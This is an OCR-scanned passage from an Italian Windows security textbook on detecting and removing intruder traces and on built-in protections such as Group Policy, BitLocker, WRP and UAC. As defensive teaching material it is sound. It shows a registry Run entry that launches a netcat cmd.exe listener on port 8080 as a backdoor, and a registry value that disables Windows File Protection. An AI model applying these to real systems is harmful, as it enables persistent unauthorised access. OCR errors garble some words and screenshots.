la violazione della procedura di autenticazione

Come si fa a rimettere le cose a posto, dopo tutte le attivita appena descritte, e a chiudere
tutte le falle rimaste? Poiché molte di tali attivita sono state effettuate disponendo di un
accesso di amministratore a quasi tutti gli aspetti dell’architettura di Windows, e la maggior
parte di queste tecniche possono essere camuftate in modi quasi illimitati, il compito non
¢ certo semplice. Possiamo fornire il seguente suggerimento di carattere generale, che
riguarda le quattro aree principali toccate in un modo o nell’altro dai processi appena
descritti: nomi di file, chiavi del registro di sistema, processi e porte.

SUGGERIMENTO

Suggeriamo caldamente di leggere il Capitolo 6 e in particolare i paragrafi dedicati a
malware e rootkit, oltre a questo paragrafo, perché la sono descritte altre fondamentali
contromisure contro questi attacchi.
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| ATTENZIONE

Nel caso in cui un hacker abbia compromesso il sistema disponendo dei privilegi di
accesso, la via migliore e quella di reinstallare da zero il software di sistema utilizzando
supporti di sicura provenienza. Un hacker altamente capace potrebbe nascondere delle
backdoor che perfino un professionista della sicurezza molto esperto non troverebbe
mai. Questo consiglio &€ comunque rivolto alla conoscenza generale del lettore, e non va
inteso come una soluzione completa per questi tipi di attacchi.

e Nomi di file

Qualsiasi hacker di media capacita rinomina i file o prende altre misure per nasconderli
(come ¢ spiegato nel precedente paragrato dedicato a come coprire le proprie tracce),
tuttavia, osservando i file con nomi sospetti talvolta si ¢ in grado di scoprire qualche traccia
lasciata dagli intrusi meno accorti.

Abbiamo gia trattato molti strumenti comunemente utilizzati in attivita successive a un
exploit, come nc.exe (netcat), psexec.exe, WINVNC.exe, VNCHooks.dll, omnithre-
ad_rt.dll, fpipe.exe, firedaemon.exe, srvany.exe e psexec.exe. Un’altra tecnica comune ¢
quella di copiare la shell di comandi di Windows (cmd.exe) in varie posizioni del disco,
e con nomi diversi: cercate root.exe, sensepost.exe e file con nomi simili e dimensioni
diverse dal vero cmd.exe (consultate il sito http://www.file.net per verificare 1 dati dei
file di sistema piu comuni come cmd.exe).

Devono destare sospetti anche tutti 1 vile inclusi nelle directory Start Menu\PRO-
GRAMS\STARTUP\%nomeutente% sotto %SYSTEMROOT%\PROFILES. Tutti 1
file presenti in queste cartelle sono eseguiti al momento dell’avvio del sistema operativo
(torneremo pitl avanti su questo aspetto).

Uno dei meccanismi classici per rilevare e prevenire la presenza di file malevoli nel proprio
sistema ¢ quello di utilizzare software antimalware, e infatti raccomandiamo caldamente
di implementare sistemi antimalware o infrastrutture simili nella propria organizzazione
(s1, anche nel datacenter sui server!).

| SUGGERIMENTO

Un‘altra buona misura preventiva per individuare i cambiamenti apportati al file system
€ quella di utilizzare strumenti di verifica del checksum come Tripwire (tripwire.com).

Q Voci del registro di sistema

Oltre a cercare 1 file rinominati, una strategia che funziona solo raramente, ¢ utile esami-
nare 1 valori del registro di sistema, perché la maggior parte delle applicazioni discusse in
precedenza si attende di trovare valori specifici in posizioni specifiche. Due buoni punti da
dove cominciare a cercare sono HKLM\SOFTWARE e HKEY_ USERS\.DEFAULT\
Software, dove si trovano la maggior parte delle applicazioni installate. Come abbiamo
visto, software di controllo remoto molto noti come WINVNC creano le proprie chiavi
sotto questi rami del registro:

HKEY_USERS\.DEFAULT\Software\ORL\WINVNC3
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Utilizzando lo strumento della riga di comando REG.EXE del Resource Kit, ¢ facile
eliminare queste chiavi, anche su sistemi remoti. La sintassi ¢:

reg delete [value] \\machine

Ecco un esempio:

C:\> reg delete HKEY_USERS\.DEFAULT\Software\ORL\WinVNC3
\\192.168.202.33

ASEP (Autostart Extensibility Points)

Gli hacker quasi sempre inseriscono i necessari valori del registro di sistema sotto le
chiavi di avvio standard di Windows, che consigliamo quindi di esaminare regolarmente
per verificare la presenza di comandi pericolosi o dall’aspetto strano. Le aree in questione
sono HKLM\SOFTWAR E\Microsoft\Windows\CurrentVersion\Run e RunOnce,
RunOnceEx e RunServices (solo per sistemi Windows 9x).

Inoltre, conviene ridurre al minimo i diritti di accesso degli utenti a queste chiavi. Per de-
fault il gruppo Everyone di Windows ha il permesso di impostare 1 valori su HKLM\..\..\
Run. Questo permesso dovrebbe essere disattivato utilizzando regedt32.

Ecco un primo esempio di che cosa cercare: la seguente figura mostra una finestra di
regedit con un listener netcat impostato per avviarsi sulla porta 8080 al momento del
boot sotto HKLM\..\..\Run:

£ Reqistry Editor

Begistry  Edit View Help
=-_] Windows = [ Mame Data
=1-_1 Currenfiersion ab] [Default) [value nat zet)
+-_] App Paths ab]Browserw'ebCheck  'loadwe.exe"
+-_] Cantrols Folder ab] COMSMDERXE "comsmd. exe -on"'
*-] Explorer ab] neteat "CATEMPANCTINT e L -d -8 omd.exe -p 8080

Extensions ab] " "
) ab] SystemTray SyzTray Exe
+ Intermet Settings =

1 hkdFiles

1 ModuleUzage
1 MS-DOS Emula
1 Ml

1 Policies

| RenameFiles
g} i

1 RunOnce

| BunOnceEs =
ol 0000 3 [ K1 |
tdy ComputersHKEY_LOCAL_MACHIMEMSOFTWARE \Microsoft\wWindows Current'f ersionsFun

[ - [ -

Ora gli hacker dispongono di una backdoor perpetua in questo sistema, a meno che
I'amministratore non provveda a eliminare manualmente il valore del registro.

Non dimenticate di controllare le directory %systemroot%\profiles\%nomeutente%o\Start
Menu\programs\startup\.I file qui presenti sono eseguiti automaticamente a ogni accesso
dell’'utente specificato!
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Microsoft indica le posizioni che permettono I'esecuzione automatica come ASEP
(AutoStart Extensibility Points). Quasi tutti 1 software maligni a oggi noti hanno utilizzato
degli ASEP per infettare sistemi Windows. Potete anche eseguire 1'utility msconfig per
visualizzare alcuni di questi altri meccanismi ad avvio automatico nella scheda Avvio
(anche se per configurare il comportamento con questo strumento ¢ necessario portare
il sistema nella modalita di avvio selettivo).

c Processi

Per individuare gli strumenti di hacking eseguibili che non possono essere rinominati o
nascosti in altro modo, ¢ utile analizzare regolarmente 'elenco dei processi, che si apre
premendo Ctrl+Maiusc+Esc. Consigliamo di ordinare I’elenco facendo clic sulla colonna
CPU, in modo da disporli in ordine rispetto alla percentuale di tempo della CPU utilizzata.
Tipicamente, un processo maligno sara impegnato in qualche attivita, percid dovrebbe
trovarsi nei primi posti dell’elenco. Se individuate qualcosa che non dovrebbe trovarsi 1i,
potete fare clic su qualsiasi processo che appare pericoloso e selezionare Termina processo
per arrestarlo.

Potete anche utilizzare I'utility della riga di comando Taskkill, o la vecchia utility del Re-
source Kit kill.exe, per arrestare qualsiasi processo che non risponde alla routine grafica
di gestione delle attivita. Usate Taskkill per lo stesso scopo su server remoti attraverso un
dominio, anche se ¢ necessario innanzitutto determinare I'ID di processo (PID) corri-
spondente; cosa che si puo fare, per esempio, con l'utility pulist.exe del Resource Kit.

SUGGERIMENTO

Process Explorer dell'utility Sysinternals consente di visualizzare i thread di un processo
ed e utile peridentificare DLL pericolose che potrebbero essere caricate nei processi.

Un buon punto dove cercare segni di compromissione del sistema ¢ la coda di Task Sche-
duler (Operazioni pianificate) di Windows. Gli hacker utilizzano comunemente questo
servizio per avviare processi maligni, e come abbiamo gia spiegato in questo capitolo,
tale servizio puo anche essere utilizzato per ottenere il controllo remoto di un sistema e
per avviare processi assumendo i privilegi massimi dell’account SYSTEM. Per controllare
la coda di Task Scheduler basta digitare at sulla riga di comando, utilizzare il comando
schtasks, oppure servirsi dell’interfaccia grafica a cui si accede dal Pannello di controllo
selezionando Strumenti di amministrazione | Operazioni pianificate.

Tecniche pit avanzate come il reindirizzamento del contesto di thread hanno reso meno
efficace 'esame degli elenchi di processi per identificare i programmi maligni in esecuzione.
Il reindirizzamento del contesto di thread consente di fare in modo che un thread legittimo
esegua codice maligno (cfr. phrack.org/issues.html?issue=628&id=12#article, paragrafo 2.3).

c Porte

Se un listener “nc” ¢ stato rinominato, l'utility netstat ¢ in grado di identificare le sessio-
ni in stato LISTENING o ESTABLISHED. Controllare periodicamente con netstat la
presenza di queste connessioni pericolose ¢ talvolta il modo migliore per trovarle. Nel
prossimo esempio eseguiamo netstat -an sul nostro server bersaglio mentre un hacker ¢
connesso da remoto e via nc alla porta 8080 (digitate netstat /2 sulla riga di comando per
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una descrizione dei parametri -an). Notate che la connessione “remota” opera sulla porta
TCP 139 e che netcat ¢ in ascolto e ha una connessione in stato ESTABLISHED sulla
porta TCP 8080 (per maggiore chiarezza abbiamo eliminato parte dell’output di netstat).

C:\> netstat -an
Active Connections

Proto Local Address Foreign Address State

TCP 192.168.202.44:139  0.0.0.0:0 LISTENING
TCP 192.168.202.44:139  192.168.2.3:1817 ESTABLISHED
TCP 192.168.202.44:8080 0.0.0.0:0 LISTENING

TCP 192.168.202.44:8080 192.168.2.3:1784 ESTABLISHED

Osservando 'output di netstat, notate che la migliore difesa contro i processi remoti ¢
quella di bloccare I'accesso alle porte da 135 a 139 su ogni potenziale bersaglio, sul firewall
oppure disattivando 1 binding NetBIOS per le schede di rete esposte, come si € spiegato in
questo capitolo nel paragrafo dedicato alle contromisure contro gli attacchi che puntano
all'individuazione della password.

Loutput di netstat puo essere inviato a Find per cercare porte specifiche, come nel seguente
comando, che cerca server NetBus in ascolto sulla porta di default:

netstat -an | find "12345"

SUGGERIMENTO

A partire da Windows XP, Microsoft ha previsto in netstat I'opzione -o che associa una
porta di ascolto con il suo processo proprietario.

Funzionalita di sicurezza di Windows

Windows fornisce molti strumenti e funzioni di sicurezza utilizzabili per contrastare gli
attacchi discussi in questo capitolo. Si tratta di funzionalita eccellenti per rafforzare la
protezione di un sistema, o semplicemente per una gestione generale della configurazione
allo scopo di mantenere aggiornati e a punto interi ambienti in modo da evitare falle. La
maggior parte degli strumenti discussi in questo paragrafo sono disponibili in Windows
2000 e versioni successive.

SUGGERIMENTO

Potete consultare il volume Hacking Exposed Windows, Third edition (McGraw-Hill Profes-
sional, 2007; winhackingexposed. com) per una trattazione piu approfondita di molte di
queste funzionalita.

Windows Firewall

Occorre fare 1 complimenti a Microsoft per l'attenzione con cui continua a migliorare
il firewall che ha introdotto con Windows XP, che in passato si chiamava ICF (Internet
Connection Firewall). Il suo successore Windows Firewall offre una migliore interfaccia
utente (con la classica metafora delle “eccezioni” per le applicazioni permesse e una scheda
Avanzate che visualizza tutti 1 dettagli tecnici per chi si diverte a studiare tutti 1 particolari
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del sistema), e ora ¢ configurabile tramite criteri di gruppo per consentire la gestione
distribuita delle impostazioni del firewall su un ampio numero di sistemi.

A partire da Windows XP SP2 Windows Firewall ¢ attivato per default con una confi-
gurazione molto restrittiva (in sostanza tutte le connessioni in entrata sono bloccate) e
questo rende inutilizzabili molte delle vulnerabilita descritte in questo capitolo.

Aggiornamenti automatici

Una delle pit importanti contromisure di sicurezza che non ci stanchiamo di consigliare ¢
quella di tenere aggiornato il sistema installando tutte le patch rilasciate da Microsoft. Tuttavia,
effettuare manualmente il download e I'installazione del fiume di aggiornamenti software
che sgorga da Microsoft oggigiorno ¢ un lavoro che occuperebbe una persona a tempo
pieno (o piu persone, nel caso di una rete costituita da un gran numero di sistemi Windows).
Fortunatamente Microsoft ha incluso nel sistema operativo una funzione di aggiornamento
automatico. A parte 'uso del firewall, probabilmente non vi & misura piu efficace, per la
sicurezza del sistema, di attivare gli aggiornamenti automatici. La Figura 4.11 mostra la
finestra di configurazione di Aggiornamenti automatici.

SUGGERIMENTO

Per capire come configurare Aggiornamenti automatici utilizzando valori del registro di
sistema o criteri di gruppo, cfr. support.microsoft.com/kb/328010.

nE'Change settings | _ (O] x|

~ Control Panel ~ Windows Update ~ Change settings A @l ISear-:h

=

—~r
()

Fle Edt Mew Toolz Help

Choose how Windows install updates

When your computer is online, Windows can automatically check forimportant updates and install them using these
settings. When new updates are available, you can also install them before shutting down the computer.

Understanding Windows automatic updating

i @| © Install
-

Install new updates:
IE'-.'er,. day j at I'.’

¢ Download updates but let me choose whether to install them
" Check for updates but let me choose whether to download and install them

|g| " Never check for updates {not recommended)

“Your computer will be more vulnerable to security threats and performance problems without the latest updates.

Recommended updat

™ Include recommended updates when downloading, installing, or notifying me about updates

Mote: Windows Update may update itselff automatically before it checks for other updates. Read our privacy statement
onling

Figura4.11 Finestra per la configurazione degli aggiornamenti automatici di Windows.
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ATTENZIONE

Gli utenti privi dei permessi di amministratori non vedono gli avvisi relativi alla disponibilita
di aggiornamenti percio rischiano di non installarli in tempo, e potrebbero anche subire
problemi nel caso in cui sia configurato il riavvio automatico.

Se avete la necessita di gestire le patch per un gran numero di computer, Microsoft fornisce
diverse soluzioni, fra cui Windows Server Update Services (WSUS) e System Center
Configuration Manager (ulteriori informazioni su questi strumenti sono disponibili presso
microsoft.com/technet/security/tools):

Esiste anche un vivace mercato di patch di provenienza diversa da Microsoft. Cercate
“windows patch management” (meglio in inglese per trovare piu risultati) nel vostro
motore di ricerca preferito per ottenere informazioni aggiornate sui piu recenti strumenti
di questo tipo.

Centro sicurezza PC Windows

La finestra di Centro sicurezza PC Windows, a cui si accede dal Pannello di controllo, &
mostrata nella Figura 4.12. Si tratta di uno strumento ormai affermato che fa da punto
centralizzato per la configurazione di funzionalita fondamentali per la sicurezza del si-
stema: Windows Firewall, Windows Update, Antivirus (se ¢ installato) e opzioni Internet.

Security essentials

To help protect your computer, make sure the four security essentials below are marked On or
0K,

Using Windows Security Center

‘Firewall On @
ecurity and
online from Automatic updating On @ (:\2)
Change the way Security - - —
Center alerts me Malware protection Check settings © (&)
Virus protection Mot found @
Windows did net find antivirus software on this computer. -
Show me my available options. Eind a program
Spy and other mak protection On ©

] Windows Defender is actively protecting your computer.

How does anti-malware software help protect my computer?

Other security settings OK© (&)

Internet security settings 0K @
All Internet security settings are set to their recommended levels.
How do Internet security settings help protect my computer?

User Account Control On ©
User Account Control is turned on.

How does User Account Control help protect my computer?

See also

Backup and Restore

Figura 4.12 Centro sicurezza PC di Windows.
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Centro sicurezza PC' Windows ¢ chiaramente rivolto agli utenti finali e non ai professionisti
dell'informatica, vista la mancanza di interfacce per funzioni di sicurezza piu avanzate
come i criteri di protezione, i certificati e cosi via, ma rimane comunque un buon punto
di partenza. Speriamo che un giorno Microsoft imparera a creare interfacce utente che
risultino gradevoli per gli utenti privi di particolari conoscenze tecniche, senza perd
lasciare insoddisfatti gli informatici di professione.

Criteri di protezione e criteri di gruppo

In questo capitolo abbiamo discusso molto dei criteri di protezione e del relativo snap-in,
come ¢ normale per uno strumento che consente di gestire quasi tutte le opzioni relative
alla sicurezza di Windows tramite un’unica interfaccia. Tuttavia, questo strumento ¢ I'ideale
per configurare la sicurezza di computer singoli, ma come si procede per configurare la
sicurezza di un gran numero di sistemi Windows?

Uno det piu potenti strumenti disponibili per questo scopo ¢ Criteri di gruppo. Gli og-
getti criteri di gruppo (GPO, Group Policy Objects) possono essere memorizzati nell’ Active
Directory o su un computer locale per definire determinati parametri di configurazione
in locale o anche in tutto un dominio. I GPO possono essere applicati a siti, domini o
unita organizzative (UO) e sono ereditati da utenti o computer in essi contenuti (chiamati
membri di quel GPO).

I GPO possono essere visualizzati in qualsiasi finestra di console MMC e anche gestiti
tramite GPMC (Group Policy Management Console, cfr.msdn.microsoft.com/en-us/library/
windows/desktop/aa814316(v=vs.85).aspx; sono richiesti i privilegi di amministratore).
Quelli forniti con Windows 2000 e versioni successive sono Computer locale, Dominio
predefinito e Controller di dominio predefinito. Eseguendo gpedit.msc dal menu start si
richiama il GPO Computer locale. Esistono altri modi per visualizzare i GPO, a seconda
del sistema operativo. Per esempio, di seguito ¢ mostrata la visualizzazione dei GPO tramite
Server Manager in Windows Server 2008:

Domain Controllers Properties HE I

Genelall I anaged B_I,JI Dbiectl Security Group Palicy I

g Current Group Policy Object Links for Domain Controllers

Group Policy Object Links | Mo Owverride | Dizabled |

ault Do

Group Palicy Objects higher in the list hawve the highest priarity.
Thiz list obtained from: JOEL. LABSCAM ORG

New | aga. | Edt | |

DOptions. .. | Delete... | Froperties | [lown |

[~ Block Policy inheritance
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Un altro modo per visualizzare 1 GPO ¢ quello di accedere alle proprieta di uno specifico
oggetto directory (dominio, UO o sito) e quindi selezionare la scheda Criteri di gruppo,
che visualizza i GPO applicati all’'oggetto selezionato (elencati per priorita), indica se
I'ereditarieta ¢ bloccata e consente la modifica del GPO.

Modificando un GPO si accede a una numerosa serie di configurazioni di sicurezza che si
possono applicare a oggetti directory. Risulta di particolare interesse il nodo Configurazione
computer\Impostazioni di Windows\Impostazioni protezione\Criteri locali\Opzioni
di protezione, dove si possono configurare piu di 30 diversi parametri per migliorare la
sicurezza di qualsiasi oggetto a cui ¢ applicato 11 GPO. Tra questi parametri vi sono “Re-
strizioni addizionali per connessioni anonime” (I’'opzione RestrictAnonymous),“Livello
di autenticazione LAN Manager” e “Rinomina account amministratore”, e molti altri.
II nodo Impostazioni protezione consente anche di impostare 1 criteri per account, con-
trollo, registro eventi, chiave pubblica e IPSec. Applicando questi criteri a livello di sito,
dominio o unita organizzativa, il compito di gestire la sicurezza in ambienti con numerose
macchine risulta notevolmente facilitato. Nella Figura 4.13 ¢ illustrato un esempio di
impostazione dei criteri.

I GPO sembrerebbero la soluzione definitiva per configurare domini di grandi dimensioni
con sistemi Windows 2000 e successivi; tuttavia, capita di imbattersi in errori quando si
abilitano combinazioni di criteri a livello locale e di dominio, e inoltre il ritardo con cui
hanno effetto le impostazioni dei criteri di gruppo puo risultare frustrante. Il problema
del ritardo si puo risolvere utilizzando lo strumento secedit per aggiornare immedia-
tamente 1 criteri; a questo scopo basta eseguire dal menu start secedit /refreshpolicy
MACHINE_POLICY. Per aggiornare 1 criteri sotto il nodo della configurazione utente,
st esegue il comando secedit /refreshpolicy USER_POLICY.

':m policy - [Console Root\Default Domain Policy [JOEL. LABSCAM.0RG] Policy\Computer Configuration\windows Set... =] E3

Jnﬁ] LConsole  Window  Help |J O=E | |;|i|l|
|J Action  Wiew  Favorites |J e = | | > | % |
Tleel Favoritez | Palicy  # | Computer Setting
T Console Fioot ] Enforce password history 1 passwards rememberec
E-€f2 Default Domain Policy [JOEL LABS Maximum password age 42 days
EIQ Computer Configuration Minimum password age 0 days

-7 Software Settings Minimum pazsword length 0 characters

-] Windows Settings the: Dizabled
i Seripts [Starbup/Shutd: Stare password using reversible encryption for all users in the domain Disabled
) Security Settings User must log on to change the password Disabled

E-E# Account Policies

+ Password Palic
Account Lock_|

Kerberas Polic
=] & Local Policies

; Security Optior
=) 5 Event Log

...... Settings for Ev ~
=i I 2

Figura 4.13 Impostazione dei criteri di gruppo.
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Microsoft Security Essentials

La piattaforma Windows ¢ sempre stata afflitta da ogni sorta di malware, tra cui virus,
worm, trojan e spyware, e lo ¢ ancora oggi. Fortunatamente, oggi Microsoft oftre un nuovo
strumento gratuito per combattere 1 software malevoli, denominato Microsoft Security
Essentials e disponibile presso windows.microsoft.com/en-US/windows/products/security-
essentials. Uelenco delle funzionalita ¢ interessante e comprende tra 'altri protezione
in tempo reale, scansione e pulizia del sistema, protezione contro i rootkit, sistema di
controllo della rete e aggiornamenti automatici.

Enhanced Mitigation Experience Toolkit

Enhanced Mitigation Experience Toolkit (EMET) ¢ uno strumento gratuito di Microsoft
che consente agli utenti di gestire le tecnologie di mitigazione dei rischi quali DEP e
ASLR. 11 software offre la possibilitd di configurare le impostazioni di queste tecnologie
per tutto il sistema, e soprattutto consente di attivarle o disattivarle per i singoli processi
tramite una semplice interfaccia. E possibile attivare questi strumenti di mitigazione anche
per software di vecchia generazione, senza la necessita di ricompilare. Per prelevare EMET
e per ulteriori informazioni sulle sue funzionalita si veda il sito microsoft.com/download/
en/details.aspx?id=1677.

Bitlocker e I'Encrypting File System

Uno dei principali strumenti di sicurezza introdotti con Windows 2000 ¢ I’Encrypting
File System (EFS). Si tratta di un sistema di crittografia a chiave pubblica per cifrare in
modo trasparente e in tempo reale i dati a livello dei file, in modo che gli attaccanti non
possano accedervi in mancanza della chiave necessaria (per ulteriori informazioni, si
veda echnet.microsoft.com/en-us/library/cc700811.aspx). In breve, EFS puo cifrare un
file o una directory con un algoritmo di crittografia veloce e simmetrico utilizzando una
chiave crittografica (FEK, File Encryption Key) generata casualmente e specificamente per
il file o directory in questione. Lalgoritmo di cifratura utilizzato nella versione iniziale di
EFS ¢ DESX (Extended Data Encryption Standard). La chiave di cifratura del file generata
casualmente ¢ anch’essa cifrata con una o piu chiavi pubbliche, incluse quelle dell’utente
(ciascun utente in Windows 2000 e versioni successive riceve una coppia chiave pubblica/
chiave privata) e un agente di recupero della chiave (RA, Recovery Agent). Questi valori
cifrati sono memorizzati come attributi del file.

Il recupero della chiave ¢ implementato, per esempio, nel caso in cui dei dipendenti che
hanno cifrato alcuni dati riservati lascino un’organizzazione, o perdano le loro chiavi di
cifratura. Per evitare la perdita irrecuperabile dei dati cifrati, Windows impone esistenza
di un agente di recupero dei dati per EFS (tranne in Windows XP). In effetti, EFS non
funziona senza tale agente. Poiché la chiave FEK ¢ del tutto indipendente dalla coppia di
chiave pubblica/privata di un utente, un agente di recupero pud decifrare il contenuto
del file senza compromettere la chiave privata dell’utente. U'agente di recupero di default
per un sistema € I'account di amministratore locale.

EFES puo essere utile in molte situazioni, ma probabilmente non si applica al caso di piu
utenti della stessa stazione di lavoro che vogliano proteggere i file 'uno dall’altro. A questo
scopo si utilizzano gli elenchi di controllo di accesso (ACL, Access Control List) del file
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system N'TES. Microsoft considera EFS come un livello di protezione contro gli attacchi
nel caso in cui NTES sia aggirato, come quando si avvia il sistema con sistemi operativi
alternativi e si utilizzano strumenti di terze parti per accedere a un disco fisso, o per file
registrati su server remoti. In effetti il documento di Microsoft che descrive EFS afferma
specificamente che “EFS risolve in particolare le preoccupazioni di sicurezza generate
da strumenti disponibili su altri sistemi operativi che consentono agli utenti di accedere
fisicamente ai file di un volume NTES senza una verifica dell’accesso”.

Questa affermazione,a meno che non sia circoscritta al contesto di un dominio Windows, &
difficile da sostenere. La principale vulnerabilita di EFS ¢ 'account dell’agente di recupero,
poiché la password dell’amministratore locale si pud reimpostare facilmente utilizzando
strumenti noti che lavorano quando il sistema viene avviato con un diverso sistema ope-
rativo (per esempio lo strumento chntpw disponibile presso pogostick.net/~pnh/ntpasswd/).
Quando EFS ¢ implementato su una macchina che fa parte di un dominio, 'account
dell’agente di recupero risiede sui controller di dominio, in modo da separare fisicamente
la chiave di backdoor dell’agente e 1 dati cifrati, per fornire migliore protezione. Ulte-
riori dettagli sui punti deboli di EFS e sulle contromisure da prendere per contrastare gli
attacchi sono presenti nel volume Hacking Exposed Windows, Third edition (McGraw-Hill
Professional, 2007; winhackingexposed. com).

Con Windows Vista Microsoft ha introdotto BDE (Bitlocker Drive Encryption). Benché
questo meccanismo fosse stato progettato principalmente per fornire una maggiore sicu-
rezza all’integrita del sistema operativo, svolge anche una funzione di ostacolo nei con-
fronti di tecniche di attacco come quella che reimposta la password e che sono in grado
di bypassare EFS. Invece di associare chiavi di cifratura dei dati a singoli account utente
come fa EFS, BDE cifra interi volumi e memorizza la chiave in modi che le rendono
molto piu difficili da violare.

Con BDE, un hacker che ottenga un accesso fisico illimitato al sistema (per esempio
rubando un notebook) non sara in grado di decifrare i dati memorizzati sul volume
cifrato, perché Windows non lo carichera nemmeno, qualora rilevi la mancanza della
chiave, e avviando il sistema con un altro sistema operativo non si otterra I'accesso alla
chiave di decifratura, che ¢ memorizzata in luogo sicuro (cfr. en.wikipedia.org/wiki/Bit-
Locker_Drive Encryption per ulteriori informazioni su BDE, inclusi i vari modi utilizzati
per proteggere le chiavi).

I ricercatori della Princeton University hanno pubblicato un interessante articolo riguar-
dante i cosiddetti attacchi di avvio a freddo in grado di bypassare BDE (citp.princeton.edu/
research/memory/). In sostanza, i ricercatori hanno raftreddato i chip DR AM per aumentare
il tempo necessario per scaricare il sistema operativo dalla memoria volatile; in questo
modo hanno ottenuto pit tempo per creare un’immagine del sistema in esecuzione, da
cui ¢ stato possibile estrarre le chiavi di decifratura master BDE, che ovviamente dovevano
essere disponibili per avviare il sistema portandolo in uno stato di normale esecuzione.
I ricercatori sono riusciti perfino a violare un sistema dotato di TPM (Tiusted Platform
Module), un chip hardware appositamente progettato per memorizzare chiavi di cifratura
BDE e pensato per rendere BDE quasi impossibile da superare.

o Contromisure contro I'attacco di avvio a freddo

Come per qualsiasi soluzione basata sulla crittografia, la sfida principale sta nella gestione
della chiave, ed ¢ ragionevolmente impossibile proteggere una chiave in qualsiasi scena-
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rio in cui questa ¢ fisicamente in possesso dell’hacker (non ¢ ancora stata concepita una
tecnologia in grado di offrire una sicurezza del 100 per cento contro qualsiasi attacco).
Percio,'unica contromisura reale contro gli attacchi di avvio a freddo consiste nel separare
fisicamente la chiave dal sistema che essa deve proteggere. Successive reazioni alle ricerche
della Princeton University hanno indicando che spegnendo un sistema protetto da BDE
si rimuovono le chiavi dalla memoria, rendendole cosi irraggiungibili dagli attacchi di
avvio a freddo. Anche 'uso di moduli hardware esterni che siano fisicamente rimovibili
(e posti in luoghi separati!) dal sistema potrebbe ostacolare tali attacchi.

Protezione di risorse Windows con WRP

Windows 2000 e Windows XP sono dotati di una funzionalita denominata WFP (Win-
dows File Protection), che tenta di garantire che i file critici del sistema operativo non siano
modificati, intenzionalmente o meno.

ATTENZIONE

Sono note alcune tecniche per bypassare WFP, tra cui quella che lo disabilita in modo
permanente impostando il valore del registro SFCDisable a offffffodh sotto HKLM\
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon.

WEP ¢ stato poi aggiornato in Windows Vista in modo da comprendere anche valori
critici del registro di sistema, oltre ai file critici, ed ¢ stato rinominato in WRP (Windows
Resource Protection). Come WFP,WRP nasconde delle copie dei file critici per la stabilita del
sistema, ma la posizione ¢ cambiata, da %SystemR 00t%\System32\dllcache a % Windir%\
WinSxS\Backup, e anche il meccanismo utilizzato per proteggere questi file ¢ cambiato
un po’.Non ¢’¢ pit un thread System File Protection in esecuzione per rilevare modifiche
ai file critici; WRP utilizza invece elenchi di controllo di accesso ACL e percio ¢ sempre
attivo nella protezione del sistema (il valore del registro SFCDisable, citato in precedenza,
non ¢ piu presente in Windows 7 e Windows Server 2008 proprio per questo motivo).
Con WREP la capacita di scrivere su una risorsa protetta ¢ assegnata soltanto al TrustedIn-
staller, nemmeno gli amministratori possono quindi modificare le risorse protette. Nella
configurazione di default, soltanto le azioni seguenti possono consentire di sostituire una
risorsa protetta con WRP:

* Windows Update installato da TrustedInstaller.

* Windows Service Pack installati da TrustedInstaller.

* Hotfix installati da TrustedInstaller.

* Aggiornamenti del sistema operativo installati da TrustedInstaller.

Naturalmente un evidente punto debole di WRP ¢ il fatto che gli account di ammi-
nistrazione possono cambiare gli ACL sulle risorse protette. Per default, il gruppo degli
amministratori locali ha il diritto di assumere la proprieta di qualsiasi risorsa protetta da
WRP;a questo punto i permessi applicati alla risorsa protetta possono essere modificati ar-
bitrariamente dal proprietario, quindi la risorsa puo essere modificata, sostituita o cancellata.
WREP, tuttavia, non ¢ stato progettato per fornire protezione contro amministratori
truffaldini. Il suo scopo principale ¢ quello di evitare che routine di installazione esterne
possano modificare risorse critiche per la stabilita del sistema operativo.
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Livelli di integrita, UACe PMIE

Con Windows Vista Microsoft ha implementato un’estensione al sistema di controllo di
accesso discrezionale che ha costituito la strada maestra del sistema operativo fin dal suo
primo concepimento. Uintento primario di questa novita era quello di implementare un
controllo di accesso obbligatorio in determinate situazioni. Per esempio, le azioni che
richiedono privilegi di amministratore dovrebbero essere sottoposte a un’ulteriore auto-
rizzazione, oltre a quella associata al token di accesso al contesto utente standard. Microsoft
ha denominato MIC (Mandatory Integrity Control) questa nuova estensione dell’architettura.
Per realizzare un comportamento di questo tipo, MIC implementa una serie di quattro
principi di sicurezza o entita di protezione denominati livelli di integrita (IL, Integrity Level),
che si possono aggiungere a token di accesso ed elenchi ACL:

e Basso

¢ Medio
e Alto

¢ Sistema

I livelli di integrita sono implementati come SID, come qualsiasi altro principio di sicurezza.
InVista e versioni successive, oltre a verificare il controllo di accesso standard, Windows
verifica anche se il livello di integrita del token con la richiesta di accesso corrisponde
a quello della risorsa richiesta. Per esempio, a un processo con livello di integrita medio
potrebbe essere impedito di leggere, scrivere o eseguire un oggetto con livello di integrita
alto. MIC si basa, quindi, sul modello di integrita Biba per la sicurezza informatica (en.
wikipedia.org/wiki/Biba_model), che si riassume nel motto: “no write up, no read down’
(non si puo scrivere su oggetti con livello di sicurezza superiore, non si puo leggere oggetti
con livello di sicurezza inferiore), progettato proprio per proteggere 'integrita. Questo
modello ¢ diverso da quello proposto da Bell e LaPadula per il Dipartimento della Difesa
degli Stati Uniti, il criterio di sicurezza multilivello (MLS, cfr. en.wikipedia.org/wiki/
Bell-LaPadula_model), che si riassume nel motto:“no write down, no read up” (non si puo
scrivere su oggetti con livello di sicurezza inferiore, non si puo leggere oggetti con livello
di sicurezza superiore) progettato per proteggere la riservatezza.

MIC non ¢ direttamente visibile, ma fa da base per sostenere alcune delle nuove fonda-
mentali funzionalita di sicurezza disponibili inVista e versioni successive: il controllo sugli
account utente (UAC, User Account Control) ¢ PMIE (Protected Mode Internet Explorer, in
precedenza LoRIE, Low Rights Internet Explorer). Descriviamo rapidamente queste fun-
zionalita per mostrare come funziona MIC nella pratica.

UAC ¢ probabilmente la pit importante novita diVista per quanto riguarda la sicurezza,
ed ¢ stato mantenuto anche nelle successive versioni di Windows. Funziona nel modo
seguente.

)

1. Gli sviluppatori contrassegnano le applicazioni incorporando un manifesto dell’ap-
plicazione (disponibile gia da XP) per indicare al sistema operativo se 'applicazione
in questione necessita di privilegi pit elevati.

2. LSA ¢ stato modificato in modo da concedere due token all’accesso degli account
di amministrazione: uno filtrato e uno collegato. Nel token filtrato sono stati rimossi
tutti i privilegi elevati (utilizzando il meccanismo di token ristretto descritto in msdn.
microsoft.com/en-us/library/aa379316(VS.85).aspx).
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3. Le applicazioni sono eseguite per default utilizzando il token filtrato; quello collegato,
con tutti i privilegi, ¢ utilizzato soltanto quando si avviano applicazioni contrassegnate
